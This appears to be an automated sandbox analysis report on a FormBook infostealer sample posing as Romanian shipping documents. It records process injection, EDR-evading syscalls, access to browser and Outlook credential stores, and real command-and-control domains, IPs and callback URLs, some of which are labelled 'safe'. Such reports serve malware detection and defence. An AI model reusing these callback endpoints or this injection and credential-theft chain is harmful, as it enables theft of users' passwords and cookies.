                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtSetInformationProcess: Direct from: 0x77542C5CJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtOpenKeyEx: Direct from: 0x77542B9CJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtProtectVirtualMemory: Direct from: 0x77537B2EJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtCreateFile: Direct from: 0x77542FECJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtOpenFile: Direct from: 0x77542DCCJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtQueryInformationToken: Direct from: 0x77542CACJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtTerminateThread: Direct from: 0x77542FCCJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtDeviceIoControlFile: Direct from: 0x77542AECJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtAllocateVirtualMemory: Direct from: 0x77542BECJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtQueryVolumeInformationFile: Direct from: 0x77542F2CJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtOpenSection: Direct from: 0x77542E0CJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtAllocateVirtualMemory: Direct from: 0x775448ECJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtSetInformationThread: Direct from: 0x775363F9Jump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtQuerySystemInformation: Direct from: 0x775448CCJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtClose: Direct from: 0x77542B6C
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtReadVirtualMemory: Direct from: 0x77542E8CJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtCreateKey: Direct from: 0x77542C6CJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtSetInformationThread: Direct from: 0x77542B4CJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtQueryAttributesFile: Direct from: 0x77542E6CJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtAllocateVirtualMemory: Direct from: 0x77543C9CJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtCreateUserProcess: Direct from: 0x7754371CJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtQueryInformationProcess: Direct from: 0x77542C26Jump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtResumeThread: Direct from: 0x77542FBCJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtWriteVirtualMemory: Direct from: 0x7754490CJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtDelayExecution: Direct from: 0x77542DDCJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtAllocateVirtualMemory: Direct from: 0x77542BFCJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtReadFile: Direct from: 0x77542ADCJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtQuerySystemInformation: Direct from: 0x77542DFCJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtResumeThread: Direct from: 0x775436ACJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtNotifyChangeKey: Direct from: 0x77543C2CJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtCreateMutant: Direct from: 0x775435CCJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtWriteVirtualMemory: Direct from: 0x77542E3CJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeNtMapViewOfSection: Direct from: 0x77542D1CJump to behavior
                Maps a DLL or memory area into another process
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\sc.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: NULL target: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: NULL target: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
                Modifies the context of a thread in another process (thread injection)
                Source: C:\Windows\SysWOW64\sc.exeThread register set: target process: 8028Jump to behavior
                Queues an APC in another process (thread injection)
                Source: C:\Windows\SysWOW64\sc.exeThread APC queued: target process: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeJump to behavior
                Writes to foreign memory regions
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 2AB6008Jump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009F87B1 LogonUserW,0_2_009F87B1
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009A3B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_009A3B3A
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009A48D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_009A48D7
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A04C27 mouse_event,0_2_00A04C27
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe"Jump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeProcess created: C:\Windows\SysWOW64\sc.exe "C:\Windows\SysWOW64\sc.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009F7CAF GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_009F7CAF
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009F874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,0_2_009F874B
                Source: AWB_5771388044 Documente de expediere.exeBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
                Source: hcwvcDPvVeAzsY.exe, 00000006.00000000.1937068587.00000000013B1000.00000002.00000001.00040000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000006.00000002.2584143287.00000000013B1000.00000002.00000001.00040000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000008.00000002.2584600338.0000000001721000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Program Manager
                Source: AWB_5771388044 Documente de expediere.exe, hcwvcDPvVeAzsY.exe, 00000006.00000000.1937068587.00000000013B1000.00000002.00000001.00040000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000006.00000002.2584143287.00000000013B1000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
                Source: hcwvcDPvVeAzsY.exe, 00000006.00000000.1937068587.00000000013B1000.00000002.00000001.00040000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000006.00000002.2584143287.00000000013B1000.00000002.00000001.00040000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000008.00000002.2584600338.0000000001721000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
                Source: hcwvcDPvVeAzsY.exe, 00000006.00000000.1937068587.00000000013B1000.00000002.00000001.00040000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000006.00000002.2584143287.00000000013B1000.00000002.00000001.00040000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000008.00000002.2584600338.0000000001721000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009C862B cpuid 0_2_009C862B
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009D4E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,0_2_009D4E87
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009E1E06 GetUserNameW,0_2_009E1E06
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009D3F3A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,0_2_009D3F3A
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009A49A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_009A49A0

                Stealing of Sensitive Information

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000007.00000002.2584855517.0000000003750000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000007.00000002.2584715136.00000000035C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000007.00000002.2583125879.0000000003210000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2016788677.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2584635635.0000000002A20000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2017207373.0000000003A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.2586189448.0000000005440000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2016510291.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Tries to harvest and steal browser information (history, passwords, etc)
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
                Tries to steal Mail credentials (via file / registry access)
                Source: C:\Windows\SysWOW64\sc.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
                Source: AWB_5771388044 Documente de expediere.exeBinary or memory string: WIN_81
                Source: AWB_5771388044 Documente de expediere.exeBinary or memory string: WIN_XP
                Source: AWB_5771388044 Documente de expediere.exeBinary or memory string: WIN_XPe
                Source: AWB_5771388044 Documente de expediere.exeBinary or memory string: WIN_VISTA
                Source: AWB_5771388044 Documente de expediere.exeBinary or memory string: WIN_7
                Source: AWB_5771388044 Documente de expediere.exeBinary or memory string: WIN_8
                Source: AWB_5771388044 Documente de expediere.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

                Remote Access Functionality

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000007.00000002.2584855517.0000000003750000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000007.00000002.2584715136.00000000035C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000007.00000002.2583125879.0000000003210000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2016788677.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2584635635.0000000002A20000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2017207373.0000000003A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.2586189448.0000000005440000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2016510291.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A16283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,0_2_00A16283
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A16747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_00A16747

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire Infrastructure2
                Valid Accounts                		2
                Native API                		1
                DLL Side-Loading                		1
                Exploitation for Privilege Escalation                		1
                Disable or Modify Tools                		1
                OS Credential Dumping                		2
                System Time Discovery                		Remote Services1
                Archive Collected Data                		4
                Ingress Tool Transfer                		Exfiltration Over Other Network Medium1
                System Shutdown/Reboot
                CredentialsDomainsDefault Accounts1
                Service Execution                		2
                Valid Accounts                		1
                Abuse Elevation Control Mechanism                		1
                Deobfuscate/Decode Files or Information                		21
                Input Capture                		1
                Account Discovery                		Remote Desktop Protocol1
                Data from Local System                		1
                Encrypted Channel                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAt1
                Windows Service                		1
                DLL Side-Loading                		1
                Abuse Elevation Control Mechanism                		Security Account Manager2
                File and Directory Discovery                		SMB/Windows Admin Shares1
                Email Collection                		4
                Non-Application Layer Protocol                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook2
                Valid Accounts                		3
                Obfuscated Files or Information                		NTDS116
                System Information Discovery                		Distributed Component Object Model21
                Input Capture                		4
                Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
                Access Token Manipulation                		1
                DLL Side-Loading                		LSA Secrets151
                Security Software Discovery                		SSH3
                Clipboard Data                		Fallback ChannelsScheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts1
                Windows Service                		2
                Valid Accounts                		Cached Domain Credentials2
                Virtualization/Sandbox Evasion                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup Items412
                Process Injection                		2
                Virtualization/Sandbox Evasion                		DCSync3
                Process Discovery                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
                Access Token Manipulation                		Proc Filesystem1
                Application Window Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt412
                Process Injection                		/etc/passwd and /etc/shadow1
                System Owner/User Discovery                		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1571754 Sample: AWB_5771388044 Documente de... Startdate: 09/12/2024 Architecture: WINDOWS Score: 100 28 www.avalanchefi.xyz 2->28 30 jalan2.online 2->30 32 3 other IPs or domains 2->32 42 Suricata IDS alerts for network traffic 2->42 44 Multi AV Scanner detection for submitted file 2->44 46 Yara detected FormBook 2->46 50 5 other signatures 2->50 10 AWB_5771388044 Documente de expediere.exe 2 2->10         started        signatures3 48 Performs DNS queries to domains with low reputation 28->48 process4 signatures5 62 Binary is likely a compiled AutoIt script file 10->62 64 Writes to foreign memory regions 10->64 66 Maps a DLL or memory area into another process 10->66 13 svchost.exe 10->13         started        process6 signatures7 68 Maps a DLL or memory area into another process 13->68 16 hcwvcDPvVeAzsY.exe 13->16 injected process8 signatures9 40 Found direct / indirect Syscall (likely to bypass EDR) 16->40 19 sc.exe 13 16->19         started        process10 signatures11 52 Tries to steal Mail credentials (via file / registry access) 19->52 54 Tries to harvest and steal browser information (history, passwords, etc) 19->54 56 Modifies the context of a thread in another process (thread injection) 19->56 58 3 other signatures 19->58 22 hcwvcDPvVeAzsY.exe 19->22 injected 26 firefox.exe 19->26         started        process12 dnsIp13 34 bloodbalancecaps.shop 108.179.253.197, 49889, 80 UNIFIEDLAYER-AS-1US United States 22->34 36 jalan2.online 108.181.189.7, 49925, 49932, 49940 ASN852CA Canada 22->36 38 www.avalanchefi.xyz 13.248.169.48, 49964, 49970, 49977 AMAZON-02US United States 22->38 60 Found direct / indirect Syscall (likely to bypass EDR) 22->60 signatures14

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                AWB_5771388044 Documente de expediere.exe53%ReversingLabsWin32.Trojan.AutoitInject
                AWB_5771388044 Documente de expediere.exe100%Joe Sandbox ML

                Dropped Files

                ⊘No Antivirus matches

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                http://www.jalan2.online/xu9o/0%Avira URL Cloudsafe
                http://www.bloodbalancecaps.shop/7n6c/?tJ=iJE0gvFHj8PDX8qP&HvrT-t9X=ePeKNPyUeLpNn1usywRT/cMVaB/hHeJrwPLb6fKcgQCso5jGZqjP6M9GYYTFao+4npn6icqsLwsi7nEjf66U/gVo6YEkdyxhX4vgPFwxoIoJ2c6DSA==0%Avira URL Cloudsafe
                http://www.avalanchefi.xyz/ctta/0%Avira URL Cloudsafe
                http://bloodbalancecaps.shop/7n6c/?tJ=iJE0gvFHj8PDX8qP&HvrT-t9X=ePeKNPyUeLpNn1usywRT/cMVaB/hHeJrwPLb0%Avira URL Cloudsafe
                http://www.avalanchefi.xyz/ctta/?tJ=iJE0gvFHj8PDX8qP&HvrT-t9X=73htI/07lnbi6jhigENtqW+dHv4h0dKivRRSV4arkt57XDlKC2xJvna+Jje1nWd5k0Z3PS0VVZTw4ek7NFPoKT3ngGEEhsGl0ikPp1D77RlGeR3ylg==0%Avira URL Cloudsafe
                http://www.jalan2.online/xu9o/?HvrT-t9X=Y1SnkQLh9oyCIrW1nUOSuZnR7CuPFYt1zoY93P6OWbCvdS06v54NadN0bxhIZaxlyI96f1lIInN9xaPSBVcrcY9ba19Ly4xWTmryN/t4ZE1RM2wdiA==&tJ=iJE0gvFHj8PDX8qP0%Avira URL Cloudsafe
                http://www.avalanchefi.xyz0%Avira URL Cloudsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                www.avalanchefi.xyz
                		13.248.169.48
                		truetrue
                  		unknown
                  s-part-0035.t-0009.t-msedge.net
                  		13.107.246.63
                  		truefalse
                    		high
                    jalan2.online
                    		108.181.189.7
                    		truetrue
                      		unknown
                      bloodbalancecaps.shop
                      		108.179.253.197
                      		truetrue
                        		unknown
                        www.jalan2.online
                        		unknown
                        		unknownfalse
                          		unknown
                          www.bloodbalancecaps.shop
                          		unknown
                          		unknownfalse
                            		unknown

                            Contacted URLs

                            NameMaliciousAntivirus DetectionReputation
                            http://www.jalan2.online/xu9o/?HvrT-t9X=Y1SnkQLh9oyCIrW1nUOSuZnR7CuPFYt1zoY93P6OWbCvdS06v54NadN0bxhIZaxlyI96f1lIInN9xaPSBVcrcY9ba19Ly4xWTmryN/t4ZE1RM2wdiA==&tJ=iJE0gvFHj8PDX8qPtrue
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.bloodbalancecaps.shop/7n6c/?tJ=iJE0gvFHj8PDX8qP&HvrT-t9X=ePeKNPyUeLpNn1usywRT/cMVaB/hHeJrwPLb6fKcgQCso5jGZqjP6M9GYYTFao+4npn6icqsLwsi7nEjf66U/gVo6YEkdyxhX4vgPFwxoIoJ2c6DSA==true
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.avalanchefi.xyz/ctta/?tJ=iJE0gvFHj8PDX8qP&HvrT-t9X=73htI/07lnbi6jhigENtqW+dHv4h0dKivRRSV4arkt57XDlKC2xJvna+Jje1nWd5k0Z3PS0VVZTw4ek7NFPoKT3ngGEEhsGl0ikPp1D77RlGeR3ylg==true
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.jalan2.online/xu9o/true
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.avalanchefi.xyz/ctta/true
                            • Avira URL Cloud: safe
                            		unknown

                            URLs from Memory and Binaries

                            NameSourceMaliciousAntivirus DetectionReputation
                            https://ac.ecosia.org/autocomplete?q=sc.exe, 00000007.00000003.2202126445.000000000815E000.00000004.00000020.00020000.00000000.sdmpfalse
                              		high
